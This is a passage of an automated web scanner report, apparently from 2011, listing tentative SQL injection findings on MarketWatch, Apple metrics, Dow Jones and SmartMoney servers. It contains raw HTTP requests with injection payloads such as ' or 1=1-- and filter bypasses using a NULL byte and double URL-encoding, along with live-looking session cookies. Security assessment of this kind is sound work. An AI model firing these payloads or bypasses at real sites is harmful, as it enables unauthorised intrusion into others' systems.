Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; rsi_csl=; rsi_segs=; BIZO=biz=1053&; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response 1

HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-MACHINE: SBKSIMGWEBP01
Content-Length: 103
Date: Sat, 14 May 2011 10:25:06 GMT
Connection: close
Vary: Accept-Encoding

The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.

Request 2

GET /MW5/content65568828'%20or%201%3d2--%20/story/css/story-layout.css?v3 HTTP/1.1
Host: i4.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; rsi_csl=; rsi_segs=; BIZO=biz=1053&; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response 2

HTTP/1.1 404 Not Found
Content-Length: 1635
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Machine: SB-IMAGE1
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:25:06 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>The page cannot be found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
<STYLE type="text/css">
BODY { font: 8pt/12pt verdana }
H1 { font: 13pt/15pt verdana }
H2 { font: 8pt/12pt verdana }
A:link { color: red }
A:visited { color: maroon }
</STYLE>
</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>

<h1>The page cannot be found</h1>
The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.
<hr>
<p>Please try the following:</p>
<ul>
<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>
<li>If you reached this page by clicking a link, contact
the Web site administrator to alert them that the link is incorrectly formatted.
</li>
<li>Click the <a href="javascript:history.back(1)">Back</a> button to try another link.</li>
</ul>
<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>
<hr>
<p>Technical Information (for support personnel)</p>
<ul>
<li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>
<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),
and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>
</ul>

</TD></TR></TABLE></BODY></HTML>

1.86. http://i4.marketwatch.com/MW5/content/story/css/story-layout.css [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://i4.marketwatch.com
Path:	/MW5/content/story/css/story-layout.css

Issue detail

The REST URL parameter 4 appears to be vulnerable to SQL injection attacks. The payloads 98828279'%20or%201%3d1--%20 and 98828279'%20or%201%3d2--%20 were each submitted in the REST URL parameter 4. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /MW5/content/story/css98828279'%20or%201%3d1--%20/story-layout.css?v3 HTTP/1.1
Host: i4.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; rsi_csl=; rsi_segs=; BIZO=biz=1053&; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response 1

HTTP/1.1 404 Not Found
Content-Length: 1635
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Machine: SB-IMAGE3
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:25:09 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>The page cannot be found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
<STYLE type="text/css">
BODY { font: 8pt/12pt verdana }
H1 { font: 13pt/15pt verdana }
H2 { font: 8pt/12pt verdana }
A:link { color: red }
A:visited { color: maroon }
</STYLE>
</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>

<h1>The page cannot be found</h1>
The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.
<hr>
<p>Please try the following:</p>
<ul>
<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>
<li>If you reached this page by clicking a link, contact
the Web site administrator to alert them that the link is incorrectly formatted.
</li>
<li>Click the <a href="javascript:history.back(1)">Back</a> button to try another link.</li>
</ul>
<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>
<hr>
<p>Technical Information (for support personnel)</p>
<ul>
<li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>
<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),
and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>
</ul>

</TD></TR></TABLE></BODY></HTML>

Request 2

GET /MW5/content/story/css98828279'%20or%201%3d2--%20/story-layout.css?v3 HTTP/1.1
Host: i4.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; rsi_csl=; rsi_segs=; BIZO=biz=1053&; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response 2

HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-MACHINE: SBKSIMGWEBP01
Content-Length: 103
Date: Sat, 14 May 2011 10:25:09 GMT
Connection: close
Vary: Accept-Encoding

The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.

1.87. http://i4.marketwatch.com/MW5/content/story/css/story-layout.css [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://i4.marketwatch.com
Path:	/MW5/content/story/css/story-layout.css

Issue detail

The REST URL parameter 5 appears to be vulnerable to SQL injection attacks. The payloads 18043717'%20or%201%3d1--%20 and 18043717'%20or%201%3d2--%20 were each submitted in the REST URL parameter 5. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /MW5/content/story/css/story-layout.css18043717'%20or%201%3d1--%20?v3 HTTP/1.1
Host: i4.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; rsi_csl=; rsi_segs=; BIZO=biz=1053&; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response 1

HTTP/1.1 404 Not Found
Content-Length: 1635
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Machine: SB-IMAGE1
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:25:09 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>The page cannot be found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
<STYLE type="text/css">
BODY { font: 8pt/12pt verdana }
H1 { font: 13pt/15pt verdana }
H2 { font: 8pt/12pt verdana }
A:link { color: red }
A:visited { color: maroon }
</STYLE>
</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>

<h1>The page cannot be found</h1>
The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.
<hr>
<p>Please try the following:</p>
<ul>
<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>
<li>If you reached this page by clicking a link, contact
the Web site administrator to alert them that the link is incorrectly formatted.
</li>
<li>Click the <a href="javascript:history.back(1)">Back</a> button to try another link.</li>
</ul>
<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>
<hr>
<p>Technical Information (for support personnel)</p>
<ul>
<li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>
<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),
and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>
</ul>

</TD></TR></TABLE></BODY></HTML>

Request 2

GET /MW5/content/story/css/story-layout.css18043717'%20or%201%3d2--%20?v3 HTTP/1.1
Host: i4.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; rsi_csl=; rsi_segs=; BIZO=biz=1053&; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response 2

1.88. http://metrics.apple.com/b/ss/applesuperglobal/1/H.20.3/s79162857956252 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://metrics.apple.com
Path:	/b/ss/applesuperglobal/1/H.20.3/s79162857956252

Issue detail

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 3, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

Request 1

GET /b/ss/applesuperglobal%00'/1/H.20.3/s79162857956252?AQB=1&ndh=1&t=14/4/2011%205%3A29%3A21%206%20300&ce=ISO-8859-1&pageName=SEO-Software-US-Dow%20Jones%20%26%20Company%2C%20Inc.-WSJ%20House%20of%20the%20Day-418203198&g=http%3A//itunes.apple.com/us/app/wsj-house-of-the-day/id418203198&r=http%3A//online.wsj.com/article/SB10001424052748703730804576317293981683266.html&ch=SEO&products=Dow%20Jones%20%26%20Company%2C%20Inc.-WSJ%20House%20of%20the%20Day-418203198&h5=appleitmsna%2Cappleitmsus&c12=Mozilla/5.0%20%28Windows%20NT%206.1%3B%20WOW64%29%20AppleWebKit/534.24%20%28KHTML%2C%20like%20Gecko%29%20Chrome/11.0.696.68%20Safari/534.24&v12=Mozilla/5.0%20%28Windows%20NT%206.1%3B%20WOW64%29%20AppleWebKit/534.24%20%28KHTML%2C%20like%20Gecko%29%20Chrome/11.0.696.68%20Safari/534.24&c22=HTML&v22=HTML&s=1920x1200&c=32&j=1.6&v=Y&k=Y&bw=1020&bh=945&AQE=1 HTTP/1.1
Host: metrics.apple.com
Proxy-Connection: keep-alive
Referer: http://itunes.apple.com/us/app/wsj-house-of-the-day/id418203198
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ccl=jn1gkyeJ1WKAlCZEVc4LTWOfoR5KzzgHeAS7hqzHSMuCOpjB1psKNSFmvBLqyWuIDgDAgaXM5JpHh4udrWFoym8ywkMe0Kn1wT4dLyW3KPKmkY0ThNgc2x8Up3Hy0uGQv9XS9/uFl0bfYMMFdjbMvt7YuOHgtMBideElnGiWCHyeqIKhFqXhGr1Grw+cB8rZ2gMClHyV6alKgEA6Q/COnKjWRwmLlfQpesPEkWCyHOtj4AjkN3akBjLIeCZ2wv622Hx2afLIrdjCrUT0iM3fHP3tcn7/btTMnxrruETy4/we6WQEWWvjTvDv0yd5N8cR2Rbco2+Tilbkww6BqH43XkmL42Wt2JNXOnSflhuUiOMtvHdQCGYMe6T5mY/mNSsdyklww8Kud0eb4fFljXNTbUtdtuWgkxBCPo6dkWsHrflR2tFRNtkRtZ+g0aJTSDkInSE/Czbu3gdnyOsSEfwpOaxw21Vu2x8UWKtlYKeQjDdX0rQgSZq/5qExOPsga0vr//N+mkUjL0RBsNjgxkht+R1IEJxOY1QdHJZK28NiEOyihHRnn6Ho29zPNKwFGORx; geo=US; s_cc=true

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 11:31:03 GMT
Server: Omniture DC/2.0.0
Content-Length: 416
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /b/ss/applesuperglobal was not found on this server.<
...[SNIP]...
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
...[SNIP]...

Request 2

GET /b/ss/applesuperglobal%00''/1/H.20.3/s79162857956252?AQB=1&ndh=1&t=14/4/2011%205%3A29%3A21%206%20300&ce=ISO-8859-1&pageName=SEO-Software-US-Dow%20Jones%20%26%20Company%2C%20Inc.-WSJ%20House%20of%20the%20Day-418203198&g=http%3A//itunes.apple.com/us/app/wsj-house-of-the-day/id418203198&r=http%3A//online.wsj.com/article/SB10001424052748703730804576317293981683266.html&ch=SEO&products=Dow%20Jones%20%26%20Company%2C%20Inc.-WSJ%20House%20of%20the%20Day-418203198&h5=appleitmsna%2Cappleitmsus&c12=Mozilla/5.0%20%28Windows%20NT%206.1%3B%20WOW64%29%20AppleWebKit/534.24%20%28KHTML%2C%20like%20Gecko%29%20Chrome/11.0.696.68%20Safari/534.24&v12=Mozilla/5.0%20%28Windows%20NT%206.1%3B%20WOW64%29%20AppleWebKit/534.24%20%28KHTML%2C%20like%20Gecko%29%20Chrome/11.0.696.68%20Safari/534.24&c22=HTML&v22=HTML&s=1920x1200&c=32&j=1.6&v=Y&k=Y&bw=1020&bh=945&AQE=1 HTTP/1.1
Host: metrics.apple.com
Proxy-Connection: keep-alive
Referer: http://itunes.apple.com/us/app/wsj-house-of-the-day/id418203198
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ccl=jn1gkyeJ1WKAlCZEVc4LTWOfoR5KzzgHeAS7hqzHSMuCOpjB1psKNSFmvBLqyWuIDgDAgaXM5JpHh4udrWFoym8ywkMe0Kn1wT4dLyW3KPKmkY0ThNgc2x8Up3Hy0uGQv9XS9/uFl0bfYMMFdjbMvt7YuOHgtMBideElnGiWCHyeqIKhFqXhGr1Grw+cB8rZ2gMClHyV6alKgEA6Q/COnKjWRwmLlfQpesPEkWCyHOtj4AjkN3akBjLIeCZ2wv622Hx2afLIrdjCrUT0iM3fHP3tcn7/btTMnxrruETy4/we6WQEWWvjTvDv0yd5N8cR2Rbco2+Tilbkww6BqH43XkmL42Wt2JNXOnSflhuUiOMtvHdQCGYMe6T5mY/mNSsdyklww8Kud0eb4fFljXNTbUtdtuWgkxBCPo6dkWsHrflR2tFRNtkRtZ+g0aJTSDkInSE/Czbu3gdnyOsSEfwpOaxw21Vu2x8UWKtlYKeQjDdX0rQgSZq/5qExOPsga0vr//N+mkUjL0RBsNjgxkht+R1IEJxOY1QdHJZK28NiEOyihHRnn6Ho29zPNKwFGORx; geo=US; s_cc=true

Response 2

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 11:31:03 GMT
Server: Omniture DC/2.0.0
xserver: www653
Content-Length: 0
Content-Type: text/html

1.89. http://om.dowjoneson.com/b/ss/djglobal,djwsj/1/H.3-pdv-2/s7523809753358 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://om.dowjoneson.com
Path:	/b/ss/djglobal,djwsj/1/H.3-pdv-2/s7523809753358

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /b%2527/ss/djglobal,djwsj/1/H.3-pdv-2/s7523809753358?[AQB]&ndh=1&t=14/4/2011%205%3A12%3A9%206%20300&vmt=44BD02B1&ns=dowjones&pageName=WSJ_Auth_WSJ/Barrons_Login_Page_Sub_with_Promo&g=http%3A//commerce.wsj.com/auth/login%3Fmg%3Dinert-wsj%26mod%3Dlogin_artpreview&r=http%3A//ad.doubleclick.net/adi/interactive.wsj.com/news_front%3B%21category%3D%3Bpage%3Darticle%3Bmsrc%3DWSJ_hp_LEFTTopStories%3B%3Bmc%3Db2pfreezone%3Btile%3D2%3Bsz%3D571x47%3Bord%3D4387438743874387%3B&cc=USD&ch=Online%20Journal&server=commerce.wsj.com&events=event12&c1=Customer%20Resources&h1=Online%20Journal%2CCustomer%20Resources%2CWSJ_Login%2CWSJ_Customer%20Resources_WSJ_Login_Login%2CWSJ_Auth_WSJ/Barrons_Login_Page_Sub_with_Promo%2Chttp%3A//commerce.wsj.com/auth/login&c2=WSJ_Login&h2=Online%20Journal%2Cmarketing%20and%20support%2CWSJ_Login%2CWSJ_Customer%20Resources_WSJ_Auth_WSJ/Barrons_Login_Page_Sub_with_Promo&c3=WSJ_Customer%20Resources_WSJ_Auth_WSJ/Barrons_Login_Page_Sub_with_Promo&h3=Online%20Journal%2CWSJ_Login%2CWSJ_Customer%20Resources_WSJ_Login_Login%2CWSJ_Auth_WSJ/Barrons_Login_Page_Sub_with_Promo&v4=WSJ_Auth_WSJ/Barrons_Login_Page_Sub_with_Promo&h4=Online%20Journal%2CWSJ_Login%2CCustomer%20Resources&c5=http%3A//commerce.wsj.com/auth/login&v5=login_artpreview&h5=Online%20Journal%2C%2CCustomer%20Resources%2CWSJ_Login%2CWSJ_Customer%20Resources_WSJ_Login_Login%2CWSJ_Auth_WSJ/Barrons_Login_Page_Sub_with_Promo&c6=http%3A//commerce.wsj.com/auth/login%3Fmg%3Dinert-wsj%26mod%3Dlogin_artpreview&c7=off&c8=Customer%20Resources&c9=free&c10=login_artpreview&v11=Online%20Journal&c19=marketing%20and%20support&c22=WSJ_Customer%20Resources_WSJ_Auth_WSJ/Barrons_Login_Page_Sub_with_Promo&v25=WSJ_WSJ_Login_WSJ_Customer%20Resources_WSJ_Login_Login&c26=WSJ_Customer%20Resources_WSJ_Login_Login&c27=WSJ_free&s=1920x1200&c=32&j=1.3&v=Y&k=Y&bw=1020&bh=945&p=Shockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.240.7%3BJava%28TM%29%20Platform%20SE%206%20U24%3BSilverlight%20Plug-In%3BChrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BWPI%20Detector%201.3%3BGoogle%20Update%3BDefault%20Plug-in%3B&[AQE] HTTP/1.1
Host: om.dowjoneson.com
Proxy-Connection: keep-alive
Referer: http://commerce.wsj.com/auth/login?mg=inert-wsj&mod=login_artpreview
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72A64051D1F1F-4000010980086687[CE]

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 10:31:11 GMT
Server: Omniture DC/2.0.0
Content-Length: 444
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /b%27/ss/djglobal,djwsj/1/H.3-pdv-2/s7523809753358 wa
...[SNIP]...
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
...[SNIP]...

Request 2

GET /b%2527%2527/ss/djglobal,djwsj/1/H.3-pdv-2/s7523809753358?[AQB]&ndh=1&t=14/4/2011%205%3A12%3A9%206%20300&vmt=44BD02B1&ns=dowjones&pageName=WSJ_Auth_WSJ/Barrons_Login_Page_Sub_with_Promo&g=http%3A//commerce.wsj.com/auth/login%3Fmg%3Dinert-wsj%26mod%3Dlogin_artpreview&r=http%3A//ad.doubleclick.net/adi/interactive.wsj.com/news_front%3B%21category%3D%3Bpage%3Darticle%3Bmsrc%3DWSJ_hp_LEFTTopStories%3B%3Bmc%3Db2pfreezone%3Btile%3D2%3Bsz%3D571x47%3Bord%3D4387438743874387%3B&cc=USD&ch=Online%20Journal&server=commerce.wsj.com&events=event12&c1=Customer%20Resources&h1=Online%20Journal%2CCustomer%20Resources%2CWSJ_Login%2CWSJ_Customer%20Resources_WSJ_Login_Login%2CWSJ_Auth_WSJ/Barrons_Login_Page_Sub_with_Promo%2Chttp%3A//commerce.wsj.com/auth/login&c2=WSJ_Login&h2=Online%20Journal%2Cmarketing%20and%20support%2CWSJ_Login%2CWSJ_Customer%20Resources_WSJ_Auth_WSJ/Barrons_Login_Page_Sub_with_Promo&c3=WSJ_Customer%20Resources_WSJ_Auth_WSJ/Barrons_Login_Page_Sub_with_Promo&h3=Online%20Journal%2CWSJ_Login%2CWSJ_Customer%20Resources_WSJ_Login_Login%2CWSJ_Auth_WSJ/Barrons_Login_Page_Sub_with_Promo&v4=WSJ_Auth_WSJ/Barrons_Login_Page_Sub_with_Promo&h4=Online%20Journal%2CWSJ_Login%2CCustomer%20Resources&c5=http%3A//commerce.wsj.com/auth/login&v5=login_artpreview&h5=Online%20Journal%2C%2CCustomer%20Resources%2CWSJ_Login%2CWSJ_Customer%20Resources_WSJ_Login_Login%2CWSJ_Auth_WSJ/Barrons_Login_Page_Sub_with_Promo&c6=http%3A//commerce.wsj.com/auth/login%3Fmg%3Dinert-wsj%26mod%3Dlogin_artpreview&c7=off&c8=Customer%20Resources&c9=free&c10=login_artpreview&v11=Online%20Journal&c19=marketing%20and%20support&c22=WSJ_Customer%20Resources_WSJ_Auth_WSJ/Barrons_Login_Page_Sub_with_Promo&v25=WSJ_WSJ_Login_WSJ_Customer%20Resources_WSJ_Login_Login&c26=WSJ_Customer%20Resources_WSJ_Login_Login&c27=WSJ_free&s=1920x1200&c=32&j=1.3&v=Y&k=Y&bw=1020&bh=945&p=Shockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.240.7%3BJava%28TM%29%20Platform%20SE%206%20U24%3BSilverlight%20Plug-In%3BChrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BWPI%20Detector%201.3%3BGoogle%20Update%3BDefault%20Plug-in%3B&[AQE] HTTP/1.1
Host: om.dowjoneson.com
Proxy-Connection: keep-alive
Referer: http://commerce.wsj.com/auth/login?mg=inert-wsj&mod=login_artpreview
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72A64051D1F1F-4000010980086687[CE]

Response 2

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 10:31:11 GMT
Server: Omniture DC/2.0.0
xserver: www438
Content-Length: 0
Content-Type: text/html

1.90. http://sbklivequoteserverdl.smartmoney.com/livequote/tokenJSON [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://sbklivequoteserverdl.smartmoney.com
Path:	/livequote/tokenJSON

Issue detail

Request 1

GET /livequote'/tokenJSON?list=NLS:$I.DJI,$I.COMPX,$INX&jsoncallback=jQuery151023836345155723393_1305368029705&_=1305368029780 HTTP/1.1
Host: sbklivequoteserverdl.smartmoney.com
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=65a08c08-94ef-4153-a49e-58cc26e0596f; smintromsg1=true; smintromsg1e=true; __utmz=205638161.1305368018.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vnum=1307960020151%26vn%3D1; s_dbfe=1305368020152; s_cc=true; s_invisit=true; s_sq=djglobal%2Cdjsm%3D%2526pid%253DSM_Home%252520Page_0_0_SH_0001%2526pidt%253D1%2526oid%253Dhttp%25253A//www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/%2526ot%253DA; __utma=205638161.1117820965.1305368018.1305368018.1305368018.1; __utmc=205638161; __utmb=205638161.2.10.1305368018

Response 1

HTTP/1.0 500 Internal Server Error
Server: JRun Web Server
Date: Sat, 14 May 2011 10:20:30 GMT
Connection: close
Content-Type: text/html

<head><title>JRun Servlet Error</title></head><h1>500 Internal Server Error</h1><body>
No web application defined to service /livequote'/tokenJSON</body>

Request 2

